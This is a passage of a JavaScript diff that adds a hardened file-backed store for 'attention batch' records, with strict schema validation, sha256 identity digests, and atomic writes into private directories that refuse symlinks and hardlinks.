/^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +const EVENT_CURSOR_PATTERN = /^[0-9]{1,16}$/u; +const BATCH_ID_PATTERN = /^att-[0-9a-f]{32}$/u; +const DEADLINE_PATTERN = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d{3})?Z$/u; +const HASH_ALGORITHM = 'sha256'; +const TEXT_DECODER = new TextDecoder('utf-8', { fatal: true }); +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const CREATE_HASH = createHash; +const RANDOM_BYTES = randomBytes; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const JSON_PARSE = JSON.parse; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const STRING = String; +const ARRAY_FROM = Array.from; +const ROOT_CHAINS = new Map(); + +const ROOT_OPEN_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_DIRECTORY ?? 0) + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_READ_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_CREATE_FLAGS = fsConstants.O_WRONLY + | fsConstants.O_CREAT + | fsConstants.O_EXCL + | (fsConstants.O_NOFOLLOW ?? 0); + +const LATCH_ALLOWED_KEYS = capturedFreeze([ + 'cancel', 'expected_revision', 'items', 'now', 'run_id', 'source', +]); +const LATCH_REQUIRED_KEYS = capturedFreeze([ + 'expected_revision', 'items', 'run_id', 'source', +]); +const REPLY_ALLOWED_KEYS = capturedFreeze([ + 'batch_id', 'cancel', 'deliver', 'expected_revision', 'now', 'reply', 'run_id', +]); +const REPLY_REQUIRED_KEYS = capturedFreeze([ + 'batch_id', 'expected_revision', 'reply', 'run_id', +]); +const FUNCTION_KEYS = capturedFreeze(['cancel', 'deliver']); + +function diagnostic(value) { + const text = STRING(value ?? ''); + return text.length <= MAX_ATTENTION_BATCH_DIAGNOSTIC_BYTES + ? text + : text.slice(0, MAX_ATTENTION_BATCH_DIAGNOSTIC_BYTES); +} + +function failBatch(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function mapErrno(error, field, code, message) { + if (error instanceof RunContractV1Error) throw error; + const errno = error?.code; + if (errno === 'ENOENT') { + failBatch('attention_batch_root_missing', field, 'The attention path does not exist.'); + } + if (errno === 'ELOOP' || errno === 'ENOTDIR') { + failBatch('attention_batch_root_unsafe', field, + 'The attention path is not a real directory entry.'); + } + if (errno === 'EEXIST') failBatch(code, field, message); + failBatch(code, field, message); +} + +function assertSafeRootPath(value) { + if (typeof value !== 'string' || value.length === 0) { + failBatch('attention_batch_root_unsafe', 'root', + 'Attention root must be an absolute directory path.'); + } + if (!path.isAbsolute(value) || value.includes('\0') || value.includes('\\')) { + failBatch('attention_batch_path_unsafe', 'root', + 'Attention root must be an absolute, NUL-free path.'); + } + if (value !== '/' && value.endsWith('/')) { + failBatch('attention_batch_path_unsafe', 'root', + 'Attention root must not end with a trailing slash.'); + } + if (path.normalize(value) !== value) { + failBatch('attention_batch_path_unsafe', 'root', + 'Attention root must be a normalized absolute path.'); + } + for (const part of value.split('/')) { + if (part === '.' || part === '..') { + failBatch('attention_batch_path_unsafe', 'root', + 'Attention root must not contain "." or ".." segments.'); + } + } + return value; +} + +function assertSafeChildName(name, field) { + if (typeof name !== 'string' || name.length === 0 || name === '.' || name === '..') { + failBatch('attention_batch_foreign_entry', field, + 'Attention directory entry is not an allowed name.'); + } + if (name.includes('/') || name.includes('\\') || name.includes('\0') + || path.basename(name) !== name) { + failBatch('attention_batch_path_unsafe', field, + 'Attention names must be single path components.'); + } + if (utf8ByteLength(name) > MAX_ATTENTION_FILENAME_BYTES) { + failBatch('attention_batch_foreign_entry', field, + 'Attention filename exceeds the bounded length.'); + } + return name; +} + +function childPath(rootPath, name) { + const safe = assertSafeChildName(name, 'name'); + const joined = path.join(rootPath, safe); + if (path.dirname(joined) !== rootPath || path.basename(joined) !== safe) { + failBatch('attention_batch_path_unsafe', 'name', + 'Attention child path escaped the private root.'); + } + return joined; +} + +function ownerUid() { + return typeof process.geteuid === 'function' ? process.geteuid() : undefined; +} + +function sameIdentity(left, right) { + return Number(left.dev) === Number(right.dev) && Number(left.ino) === Number(right.ino); +} + +function assertPrivateDirectory(stat, field, label) { + if (stat.isSymbolicLink() || !stat.isDirectory()) { + failBatch('attention_batch_root_unsafe', field, + `The attention ${label} must be a real directory.`); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failBatch('attention_batch_root_unsafe', field, + `The attention ${label} must be owned by the current user.`); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failBatch('attention_batch_root_unsafe', field, + `The attention ${label} must be private (no group or other access).`); + } +} + +function assertRegularUnsharedFile(stat, field) { + if (stat.isSymbolicLink() || !stat.isFile()) { + failBatch('attention_batch_not_regular', field, + 'Attention files must be regular non-symlink files.'); + } + if (!NUMBER_IS_SAFE_INTEGER(stat.nlink) || stat.nlink !== 1) { + failBatch('attention_batch_not_regular', field, + 'Attention files must not be hardlinked.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failBatch('attention_batch_root_unsafe', field, + 'Attention files must be owned by the current user.'); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failBatch('attention_batch_root_unsafe', field, + 'Attention files must be owner-only.'); + } +} + +function expectedReplyCapability(provider) { + return provider === 'dsh' || provider === 'cursor-cloud' + ? 'unsupported' + : 'same_session'; +} + +function domainDigest(label, value) { + const canonical = canonicalJsonStringify(value); + const digest = CREATE_HASH(HASH_ALGORITHM) + .update(ATTENTION_BATCH_HASH_DOMAIN, 'utf8') + .update('\n', 'utf8') + .update(STRING(ATTENTION_BATCH_VERSION), 'utf8') + .update('\n', 'utf8') + .update(label, 'utf8') + .update('\n', 'utf8') + .update(canonical, 'utf8') + .digest('hex'); + return `sha256:${digest}`; +} + +function itemIdentity(item) { + return { + assignment_id: item.assignment_id, + deadline_at: item.deadline_at, + event_cursor: item.event_cursor, + options: item.options, + prompt: item.prompt, + provider: item.provider, + question_id: item.question_id, + reply_capability: item.reply_capability, + required: item.required, + session_id: item.session_id, + task_id: item.task_id, + }; +} + +export function attentionQuestionDigestV1(item) { + return domainDigest('question', itemIdentity(item)); +} + +export function deriveAttentionBatchIdV1(runId, source, items) { + const digest = domainDigest('batch', { + items: items.map((item) => itemIdentity(item)), + run_id: runId, + source, + }); + return `att-${digest.slice('sha256:'.length, 'sha256:'.length + 32)}`; +} + +function assertPatternedId(value, pattern, path, label) { + if (typeof value !== 'string' || !capturedTest(pattern, value)) { + failBatch('invalid_format', path, `${path} must be a valid ${label}.`); + } + return value; +} + +function assertAssignment(value, path) { + if (!isAssignmentId(value) || !capturedTest(ASSIGNMENT_ID_PATTERN, value)) { + failBatch('invalid_format', path, + `${path} must match ${ASSIGNMENT_ID_PATTERN.source}.`); + } + return value; +} + +function assertDeadline(value, path) { + if (value === null) return null; + if (typeof value !== 'string' || !capturedTest(DEADLINE_PATTERN, value)) { + failBatch('invalid_format', path, + `${path} must be null or an RFC3339 UTC timestamp.`); + } + return value; +} + +function assertPrompt(value, path) { + if (value === null) return null; + if (typeof value !== 'string' || value.length === 0) { + failBatch('invalid_format', path, + `${path} must be null or non-empty sanitized UTF-8.`); + } + if (capturedUtf8ByteLength(value) > MAX_ATTENTION_PROMPT_BYTES) { + failBatch('out_of_range', path, + `${path} must not exceed ${MAX_ATTENTION_PROMPT_BYTES} bytes.`); + } + return value; +} + +function assertOptions(value, path) { + if (value === null) return null; + assertNotProxy(value, path); + if (!capturedIsArray(value)) { + failBatch('invalid_type', path, `${path} must be null or a dense options array.`); + } + if (value.length === 0 || value.length > MAX_ATTENTION_OPTIONS) { + failBatch('out_of_range', path, + `${path} must carry 1-${MAX_ATTENTION_OPTIONS} options.`); + } + const options = []; + for (let index = 0; index < value.length; index += 1) { + const optionPath = `${path}[${index}]`; + const option = ownDataValue(value, STRING(index), optionPath); + if (typeof option !== 'string' || option.length === 0 + || capturedUtf8ByteLength(option) > MAX_ATTENTION_OPTION_BYTES) { + failBatch('invalid_format', optionPath, + `${optionPath} must be a bounded non-empty option string.`); + } + options.push(option); + } + return options; +} + +function assertBoolean(value, path) { + if (value !== true && value !== false) { + failBatch('invalid_type', path, `${path} must be an exact boolean.`); + } + return value; +} + +function assertSafeInt(value, path, min, max) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value) + || value < min || value > max) { + failBatch('invalid_format', path, + `${path} must be a safe integer between ${min} and ${max}.`); + } + return value; +} + +function sortByAssignmentId(left, right) { + if (left.assignment_id < right.assignment_id) return -1; + if (left.assignment_id > right.assignment_id) return 1; + return 0; +} + +function assertTaskCursor(value, path) { + const fields = closedObject(value, path, ATTENTION_BATCH_TASK_CURSOR_KEYS); + return { + assignment_id: assertAssignment(fields.assignment_id, `${path}.assignment_id`), + task_id: assertPatternedId(fields.task_id, TASK_ID_PATTERN, `${path}.task_id`, 'task_id'), + event_cursor: assertPatternedId( + fields.event_cursor, EVENT_CURSOR_PATTERN, `${path}.event_cursor`, 'event_cursor', + ), + }; +} + +export function validateAttentionSourceV1(source, path = 'source') { + const fields = closedObject(source, path, ATTENTION_BATCH_SOURCE_KEYS); + const journalRevision = assertSafeInt( + fields.journal_revision, `${path}.journal_revision`, 0, 512, + ); + const head = fields.journal_head_hash; + if (typeof head !== 'string' + || (head !== RUN_JOURNAL_GENESIS_PREV && !capturedTest(SHA256_DIGEST_PATTERN, head))) { + failBatch('invalid_format', `${path}.journal_head_hash`, + `${path}.journal_head_hash must be the P25 genesis marker or a sha256 digest.`); + } + assertNotProxy(fields.task_cursors, `${path}.task_cursors`); + if (!capturedIsArray(fields.task_cursors)) { + failBatch('invalid_type', `${path}.task_cursors`, + `${path}.task_cursors must be a dense array.`); + } + if (fields.task_cursors.length < MIN_ATTENTION_ITEMS + || fields.task_cursors.length > MAX_ATTENTION_ITEMS) { + failBatch('out_of_range', `${path}.task_cursors`, + `${path}.task_cursors must carry ${MIN_ATTENTION_ITEMS}..${MAX_ATTENTION_ITEMS} entries.`); + } + const cursors = []; + const seen = new Set(); + for (let index = 0; index < fields.task_cursors.length; index += 1) { + const cursor = assertTaskCursor( + ownDataValue(fields.task_cursors, STRING(index), `${path}.task_cursors[${index}]`), + `${path}.task_cursors[${index}]`, + ); + if (seen.has(cursor.assignment_id)) { + failBatch('duplicate_assignment_id', `${path}.task_cursors[${index}].assignment_id`, + 'task_cursors must be unique by assignment_id.'); + } + seen.add(cursor.assignment_id); + cursors.push(cursor); + } + cursors.sort(sortByAssignmentId); + return { + journal_revision: journalRevision, + journal_head_hash: head, + task_cursors: cursors, + }; +} + +function validateItemShape(value, path) { + const fields = closedObject(value, path, ATTENTION_BATCH_ITEM_KEYS); + const provider = fields.provider; + if (!isKnownProvider(provider) || !capturedIncludes(ATTENTION_BATCH_PROVIDERS, provider)) { + failBatch('invalid_format', `${path}.provider`, + `${path}.provider must be exactly one of ${knownProvidersJoined()}.`); + } + const replyCapability = fields.reply_capability; + if (!capturedIncludes(ATTENTION_BATCH_REPLY_CAPABILITIES, replyCapability)) { + failBatch('invalid_format', `${path}.reply_capability`, + `${path}.reply_capability must be exactly one of ${capturedJoin(ATTENTION_BATCH_REPLY_CAPABILITIES, ', ')}.`); + } + const expected = expectedReplyCapability(provider); + if (replyCapability !== expected) { + failBatch('capability_reply_mismatch', `${path}.reply_capability`, + `${path}.reply_capability must be "${expected}" for provider "${provider}".`); + } + if (!capturedIncludes(ATTENTION_BATCH_DISPOSITIONS, fields.disposition)) { + failBatch('invalid_format', `${path}.disposition`, + `${path}.disposition must be a closed attention disposition.`); + } + const item = { + assignment_id: assertAssignment(fields.assignment_id, `${path}.assignment_id`), + task_id: assertPatternedId(fields.task_id, TASK_ID_PATTERN, `${path}.task_id`, 'task_id'), + provider, + required: assertBoolean(fields.required, `${path}.required`), + session_id: assertPatternedId( + fields.session_id, SESSION_ID_PATTERN, `${path}.session_id`, 'session_id', + ), + question_id: assertPatternedId( + fields.question_id, QUESTION_ID_PATTERN, `${path}.question_id`, 'question_id', + ), + event_cursor: assertPatternedId( + fields.event_cursor, EVENT_CURSOR_PATTERN, `${path}.event_cursor`, 'event_cursor', + ), + question_digest: fields.question_digest, + prompt: assertPrompt(fields.prompt, `${path}.prompt`), + options: assertOptions(fields.options, `${path}.options`), + reply_capability: replyCapability, + disposition: fields.disposition, + deadline_at: assertDeadline(fields.deadline_at, `${path}.deadline_at`), + }; + if (typeof item.question_digest !== 'string' + || !capturedTest(SHA256_DIGEST_PATTERN, item.question_digest)) { + failBatch('invalid_format', `${path}.question_digest`, + `${path}.question_digest must be a sha256 digest.`); + } + const digest = attentionQuestionDigestV1(item); + if (digest !== item.question_digest) { + failBatch('attention_batch_identity_mismatch', `${path}.question_digest`, + 'question_digest must match the latched question identity.'); + } + return item; +} + +function bindItemsToSource(items, source, path) { + if (items.length !== source.task_cursors.length) { + failBatch('attention_batch_identity_mismatch', path, + 'Attention items must match the latched P25 cursor boundary.'); + } + const byAssignment = capturedCreate(null); + for (const cursor of source.task_cursors) { + byAssignment[cursor.assignment_id] = cursor; + } + for (let index = 0; index < items.length; index += 1) { + const item = items[index]; + const cursor = byAssignment[item.assignment_id]; + if (cursor === undefined) { + failBatch('attention_batch_identity_mismatch', `${path}[${index}].assignment_id`, + 'Each item must appear on the latched task_cursors boundary.'); + } + if (cursor.task_id !== item.task_id || cursor.event_cursor !== item.event_cursor) { + failBatch('attention_batch_identity_mismatch', `${path}[${index}].event_cursor`, + 'Item task_id and event_cursor must equal the latched cursor boundary.'); + } + } +} + +export function validateAttentionItemsV1(items, path = 'items') { + assertNotProxy(items, path); + if (!capturedIsArray(items)) { + failBatch('invalid_type', path, `${path} must be a dense attention item array.`); + } + if (items.length < MIN_ATTENTION_ITEMS || items.length > MAX_ATTENTION_ITEMS) { + failBatch('out_of_range', path, + `${path} must carry ${MIN_ATTENTION_ITEMS}..${MAX_ATTENTION_ITEMS} unique items.`); + } + const normalized = []; + const seen = new Set(); + for (let index = 0; index < items.length; index += 1) { + const item = validateItemShape( + ownDataValue(items, STRING(index), `${path}[${index}]`), + `${path}[${index}]`, + ); + if (seen.has(item.assignment_id)) { + failBatch('duplicate_assignment_id', `${path}[${index}].assignment_id`, + 'Attention items must be unique by assignment_id.'); + } + seen.add(item.assignment_id); + normalized.push(item); + } + normalized.sort(sortByAssignmentId); + return normalized; +} + +function assertResponse(value, path) { + if (typeof value !== 'string') { + failBatch('invalid_type', path, `${path} must be a UTF-8 string.`); + } + if (capturedUtf8ByteLength(value) > MAX_ATTENTION_RESPONSE_BYTES) { + failBatch('out_of_range', path, + `${path} must not exceed ${MAX_ATTENTION_RESPONSE_BYTES} bytes.`); + } + return value; +} + +function validateReplyValue(reply, batchId, path = 'reply') { + const fields = closedObject(reply, path, ATTENTION_BATCH_REPLY_KEYS); + if (fields.batch_id !== batchId) { + failBatch('attention_batch_identity_mismatch', `${path}.batch_id`, + 'Reply batch_id must equal the latched batch identity.'); + } + if (fields.round !== ATTENTION_REPLY_ROUND) { + failBatch('invalid_format', `${path}.round`, + `Reply round must be exactly ${ATTENTION_REPLY_ROUND}.`); + } + assertNotProxy(fields.answers, `${path}.answers`); + if (!capturedIsArray(fields.answers)) { + failBatch('invalid_type', `${path}.answers`, `${path}.answers must be a dense array.`); + } + if (fields.answers.length > MAX_ATTENTION_ITEMS) { + failBatch('out_of_range', `${path}.answers`, + `${path}.answers must not exceed ${MAX_ATTENTION_ITEMS} rows.`); + } + const answers = []; + const seen = new Set(); + for (let index = 0; index < fields.answers.length; index += 1) { + const answerPath = `${path}.answers[${index}]`; + const row = closedObject( + ownDataValue(fields.answers, STRING(index), answerPath), + answerPath, + ATTENTION_BATCH_ANSWER_KEYS, + ); + const assignmentId = assertAssignment(row.assignment_id, `${answerPath}.assignment_id`); + if (seen.has(assignmentId)) { + failBatch('duplicate_assignment_id', `${answerPath}.assignment_id`, + 'Reply answers must be unique by assignment_id.'); + } + seen.add(assignmentId); + answers.push({ + assignment_id: assignmentId, + task_id: assertPatternedId(row.task_id, TASK_ID_PATTERN, `${answerPath}.task_id`, 'task_id'), + session_id: assertPatternedId( + row.session_id, SESSION_ID_PATTERN, `${answerPath}.session_id`, 'session_id', + ), + question_id: assertPatternedId( + row.question_id, QUESTION_ID_PATTERN, `${answerPath}.question_id`, 'question_id', + ), + response: assertResponse(row.response, `${answerPath}.response`), + }); + } + answers.sort(sortByAssignmentId); + return { batch_id: batchId, round: ATTENTION_REPLY_ROUND, answers }; +} + +function validateUnresolvedEntry(value, path) { + const fields = closedObject(value, path, ATTENTION_BATCH_UNRESOLVED_KEYS); + if (!capturedIncludes(ATTENTION_BATCH_UNRESOLVED_CODES, fields.code)) { + failBatch('invalid_format', `${path}.code`, + `${path}.code must be a frozen unresolved attention code.`); + } + return { + assignment_id: assertAssignment(fields.assignment_id, `${path}.assignment_id`), + task_id: assertPatternedId(fields.task_id, TASK_ID_PATTERN, `${path}.task_id`, 'task_id'), + session_id: assertPatternedId( + fields.session_id, SESSION_ID_PATTERN, `${path}.session_id`, 'session_id', + ), + question_id: assertPatternedId( + fields.question_id, QUESTION_ID_PATTERN, `${path}.question_id`, 'question_id', + ), + required: assertBoolean(fields.required, `${path}.required`), + code: fields.code, + }; +} + +function normalizeUnresolved(entries, path = 'unresolved') { + assertNotProxy(entries, path); + if (!capturedIsArray(entries)) { + failBatch('invalid_type', path, `${path} must be a dense unresolved array.`); + } + if (entries.length > MAX_ATTENTION_ITEMS * 2) { + failBatch('out_of_range', path, `${path} exceeds the bounded unresolved set.`); + } + const normalized = []; + const seen = new Set(); + for (let index = 0; index < entries.length; index += 1) { + const entry = validateUnresolvedEntry( + ownDataValue(entries, STRING(index), `${path}[${index}]`), + `${path}[${index}]`, + ); + const key = `${entry.assignment_id}\u0000${entry.code}`; + if (seen.has(key)) continue; + seen.add(key); + normalized.push(entry); + } + normalized.sort((left, right) => { + const byAssignment = sortByAssignmentId(left, right); + if (byAssignment !== 0) return byAssignment; + if (left.code < right.code) return -1; + if (left.code > right.code) return 1; + return 0; + }); + return normalized; +} + +function pushUnresolved(list, item, code) { + const next = [...list, { + assignment_id: item.assignment_id, + task_id: item.task_id, + session_id: item.session_id, + question_id: item.question_id, + required: item.required === true, + code, + }]; + return normalizeUnresolved(next, 'unresolved'); +} + +function identicalQuestionSet(leftItems, rightItems) { + if (leftItems.length !== rightItems.length) return false; + for (let index = 0; index < leftItems.length; index += 1) { + if (canonicalJsonStringify(itemIdentity(leftItems[index])) + !== canonicalJsonStringify(itemIdentity(rightItems[index]))) { + return false; + } + } + return true; +} + +function identicalSource(left, right) { + return canonicalJsonStringify(left) === canonicalJsonStringify(right); +} + +function deadlineExpired(deadlineAt, now) { + if (deadlineAt === null || now === undefined) return false; + const parsed = Date.parse(deadlineAt); + return NUMBER_IS_SAFE_INTEGER(parsed) && NUMBER_IS_SAFE_INTEGER(now) && now >= parsed; +} + +function everySettled(items) { + return items.every((item) => item.disposition === 'answered' || item.disposition === 'unresolved'); +} + +function completeCandidateBlocked(items, unresolved) { + for (const item of items) { + if (item.required === true && item.disposition === 'unresolved') return true; + } + for (const entry of unresolved) { + if (entry.required === true) return true; + } + return false; +} + +function encodeRecord(record) { + const canonical = `${canonicalJsonStringify(record)}\n`; + const bytes = BUFFER_FROM(canonical, 'utf8'); + if (bytes.byteLength > MAX_ATTENTION_BATCH_RECORD_BYTES) { + failBatch('attention_batch_record_too_large', 'record', + `Attention records must not exceed ${MAX_ATTENTION_BATCH_RECORD_BYTES} bytes.`); + } + return { record: snapshotRecord(record), bytes }; +} + +export function validateAttentionBatchRecordV1(record, path = 'record') { + const fields = closedObject(record, path, ATTENTION_BATCH_RECORD_KEYS); + if (fields.schema !== ATTENTION_BATCH_SCHEMA_ID) { + failBatch('invalid_format', `${path}.schema`, + `${path}.schema must be exactly "${ATTENTION_BATCH_SCHEMA_ID}".`); + } + if (fields.version !== ATTENTION_BATCH_VERSION) { + failBatch('invalid_format', `${path}.version`, + `${path}.version must be exactly ${ATTENTION_BATCH_VERSION}.`); + } + assertRunId(fields.run_id, `${path}.run_id`); + assertPatternedId(fields.batch_id, BATCH_ID_PATTERN, `${path}.batch_id`, 'batch_id'); + const revision = assertSafeInt(fields.revision, `${path}.revision`, 1, 4096); + if (!capturedIncludes(ATTENTION_BATCH_STATUSES, fields.status)) { + failBatch('invalid_format', `${path}.status`, + `${path}.status must be one of ${capturedJoin(ATTENTION_BATCH_STATUSES, ', ')}.`); + } + const source = validateAttentionSourceV1(fields.source, `${path}.source`); + const items = validateAttentionItemsV1(fields.items, `${path}.items`); + bindItemsToSource(items, source, `${path}.items`); + const expectedId = deriveAttentionBatchIdV1(fields.run_id, source, items); + if (expectedId !== fields.batch_id) { + failBatch('attention_batch_identity_mismatch', `${path}.batch_id`, + 'batch_id must match the latched run/source/item identity.'); + } + let reply = fields.reply; + if (reply === null) { + if (fields.status !== 'open') { + failBatch('invalid_format', `${path}.reply`, + 'A non-open attention batch must carry the durable reply round.'); + } + } else { + reply = validateReplyValue(reply, fields.batch_id, `${path}.reply`); + if (fields.status === 'open') { + failBatch('invalid_format', `${path}.reply`, + 'An open attention batch must not carry a reply.'); + } + } + const unresolved = normalizeUnresolved(fields.unresolved, `${path}.unresolved`); + if (fields.status === 'resolved' && !everySettled(items)) { + failBatch('invalid_format', `${path}.status`, + 'resolved requires every item to be answered or unresolved.'); + } + return { + schema: ATTENTION_BATCH_SCHEMA_ID, + version: ATTENTION_BATCH_VERSION, + run_id: fields.run_id, + batch_id: fields.batch_id, + revision, + status: fields.status, + source, + items, + reply, + unresolved, + }; +} + +function receiptFor(record, created) { + return snapshotRecord({ + schema: ATTENTION_BATCH_RECEIPT_SCHEMA_ID, + created: created === true, + complete_candidate_blocked: completeCandidateBlocked(record.items, record.unresolved), + wake: false, + remote_mutated: false, + record, + }); +} + +async function openDirectoryHandle(dirPath, field) { + let handle; + try { + handle = await open(dirPath, ROOT_OPEN_FLAGS); + } catch (error) { + mapErrno(error, field, 'attention_batch_root_unsafe', + 'The attention directory could not be opened safely.'); + } + try { + const stat = await handle.stat(); + assertPrivateDirectory(stat, field, 'directory'); + return { handle, path: dirPath, dev: stat.dev, ino: stat.ino, mode: stat.mode }; + } catch (error) { + await handle.close().catch(() => {}); + throw error; + } +} + +async function reopenAndVerify(token, label) { + const opened = await openDirectoryHandle(token.path, label); + try { + if (!sameIdentity(opened, token)) { + failBatch('attention_batch_root_unsafe', label, + `The attention ${label} was replaced during use.`); + } + return opened; + } catch (error) { + await opened.handle.close().catch(() => {}); + throw error; + } +} + +async function syncDirectory(handle) { + try { + await handle.sync(); + } catch (error) { + if (error?.code === 'EINVAL' || error?.code === 'ENOTSUP') return; + failBatch('attention_batch_io_failed', 'directory', + 'The attention directory could not be synchronized.'); + } +} + +async function enumerateDirectory(token, maxEntries, field) { + let dir; + try { + dir = await opendir(token.path, { bufferSize: 16 }); + } catch (error) { + mapErrno(error, field, 'attention_batch_io_failed', + 'The attention directory could not be enumerated.'); + } + const names = []; + try { + let count = 0; + while (true) { + const entry = await dir.read(); + if (entry === null) break; + count += 1; + if (count > maxEntries) { + failBatch('attention_batch_too_many_entries', field, + `Attention directories must not exceed ${maxEntries} entries.`); + } + if (entry.name === '.' || entry.name === '..') continue; + names.push(assertSafeChildName(entry.name, field)); + } + } finally { + await dir.close().catch(() => {}); + } + return names; +} + +function classifyRunEntry(name) { + if (capturedTest(TEMP_NAME_PATTERN, name)) return 'temp'; + if (name === RECORD_NAME) return 'record'; + if (capturedIncludes(P25_FOREIGN_NAMES, name)) return 'p25'; + return 'foreign'; +} + +async function inspectChildFile(dirToken, name, field) { + const target = childPath(dirToken.path, name); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') return { kind: 'missing' }; + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failBatch('attention_batch_not_regular', field, + 'Attention entries must be regular non-symlink files.'); + } + mapErrno(error, field, 'attention_batch_io_failed', + 'The attention entry could not be inspected.'); + } + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isFile()) { + failBatch('attention_batch_not_regular', field, + 'Attention entries must be regular non-symlink files.'); + } + return { kind: 'file', stat }; + } finally { + await handle.close().catch(() => {}); + } +} + +async function readBoundedFile(dirToken, name, maxBytes, field) { + const target = childPath(dirToken.path, name); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') return null; + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failBatch('attention_batch_not_regular', field, + 'Attention files must be regular non-symlink files.'); + } + mapErrno(error, field, 'attention_batch_io_failed', + 'The attention file could not be opened safely.'); + } + try { + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + if (Number(stat.size) > maxBytes) { + failBatch('attention_batch_record_too_large', field, + `Attention files must not exceed ${maxBytes} bytes.`); + } + const bytes = await handle.readFile(); + if (bytes.byteLength > maxBytes) { + failBatch('attention_batch_record_too_large', field, + `Attention files must not exceed ${maxBytes} bytes.`); + } + const after = await handle.stat(); + if (!sameIdentity(stat, after) || Number(after.size) !== Number(stat.size) + || Number(after.nlink) !== Number(stat.nlink)) { + failBatch('attention_batch_io_failed', field, + 'The attention file changed while it was read.'); + } + return { bytes, stat }; + } finally { + await handle.close().catch(() => {}); + } +} + +function decodeRecordBytes(bytes, field) { + let text; + try { + text = TEXT_DECODER.decode(bytes); + } catch { + failBatch('invalid_format', field, 'Attention records must be well-formed UTF-8 JSON.'); + } + if (!text.endsWith('\n')) { + failBatch('invalid_format', field, 'Attention records must end with a newline.'); + } + let parsed; + try { + parsed = JSON_PARSE(text); + } catch { + failBatch('invalid_format', field, 'Attention records must be valid JSON.'); + } + const record = validateAttentionBatchRecordV1(parsed, field); + const encoded = encodeRecord(record); + if (encoded.bytes.byteLength !== bytes.byteLength + || !TIMING_SAFE_EQUAL(encoded.bytes, bytes)) { + failBatch('attention_batch_identity_mismatch', field, + 'Stored attention bytes do not match the canonical record.'); + } + return encoded.record; +} + +async function atomicPublish(dirToken, finalName, bytes, field) { + const tempName = `.tmp-${RANDOM_BYTES(16).toString('hex')}`; + const tempPath = childPath(dirToken.path, tempName); + const finalPath = childPath(dirToken.path, finalName); + let handle; + try { + handle = await open(tempPath, FILE_CREATE_FLAGS, 0o600); + } catch (error) { + mapErrno(error, field, 'attention_batch_io_failed', + 'A private temporary file could not be created.'); + } + try { + await handle.chmod(0o600); + await handle.writeFile(bytes); + await handle.sync(); + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + if (Number(stat.size) !== bytes.byteLength) { + failBatch('attention_batch_io_failed', field, 'Temporary write was truncated.'); + } + } finally { + await handle.close().catch(() => {}); + } + try { + await rename(tempPath, finalPath); + } catch (error) { + await unlink(tempPath).catch(() => {}); + mapErrno(error, field, 'attention_batch_io_failed', + 'The attention record could not be published atomically.'); + } + await syncDirectory(dirToken.handle); +} + +async function exclusivePublish(dirToken, finalName, bytes, field) { + const tempName = `.tmp-${RANDOM_BYTES(16).toString('hex')}`; + const tempPath = childPath(dirToken.path, tempName); + const finalPath = childPath(dirToken.path, finalName); + let handle; + try { + handle = await open(tempPath, FILE_CREATE_FLAGS, 0o600); + } catch (error) { + mapErrno(error, field, 'attention_batch_io_failed', + 'A private temporary file could not be created.'); + } + try { + await handle.chmod(0o600); + await handle.writeFile(bytes); + await handle.sync(); + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + if (Number(stat.size) !== bytes.byteLength) { + failBatch('attention_batch_io_failed', field, 'Temporary write was truncated.'); + } + } finally { + await handle.close().catch(() => {}); + } + try { + await link(tempPath, finalPath); + } catch (error) { + await unlink(tempPath).catch(() => {}); + if (error?.code === 'EEXIST') return false; + mapErrno(error, field, 'attention_batch_io_failed', + 'The attention record could not be published exclusively.'); + } + await unlink(tempPath).catch(() => {}); + await syncDirectory(dirToken.handle); + return true; +} + +async function removeStaleTemporaries(dirToken, names) { + let removed = 0; + for (const name of names) { + if (!capturedTest(TEMP_NAME_PATTERN, name)) continue; + const target = childPath(dirToken.path, name); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failBatch('attention_batch_not_regular', 'temporary', + 'A leftover temporary path is not a regular file and was not followed.'); + } + if (error?.code === 'ENOENT') continue; + throw error; + } + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isFile()) { + failBatch('attention_batch_not_regular', 'temporary', + 'A leftover temporary path is not a regular file and was not followed.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failBatch('attention_batch_root_unsafe', 'temporary', + 'A leftover temporary file is not owned by the current user.'); + } + } finally { + await handle.close().catch(() => {}); + } + try { + await unlink(target); + removed += 1; + } catch (error) { + if (error?.code !== 'ENOENT') throw error; + } + } + if (removed > 0) await syncDirectory(dirToken.handle); + return removed; +} + +async function ensurePrivateDirectory(parentToken, name, field) { + const target = childPath(parentToken.path, name); + try { + await mkdir(target, { mode: 0o700 }); + await syncDirectory(parentToken.handle); + } catch (error) { + if (error?.code !== 'EEXIST') { + mapErrno(error, field, 'attention_batch_io_failed', + 'The attention directory could not be created.'); + } + } + const opened = await openDirectoryHandle(target, field); + try { + await opened.handle.chmod(0o700); + } catch { + // chmod after umask; verification below is authoritative. + 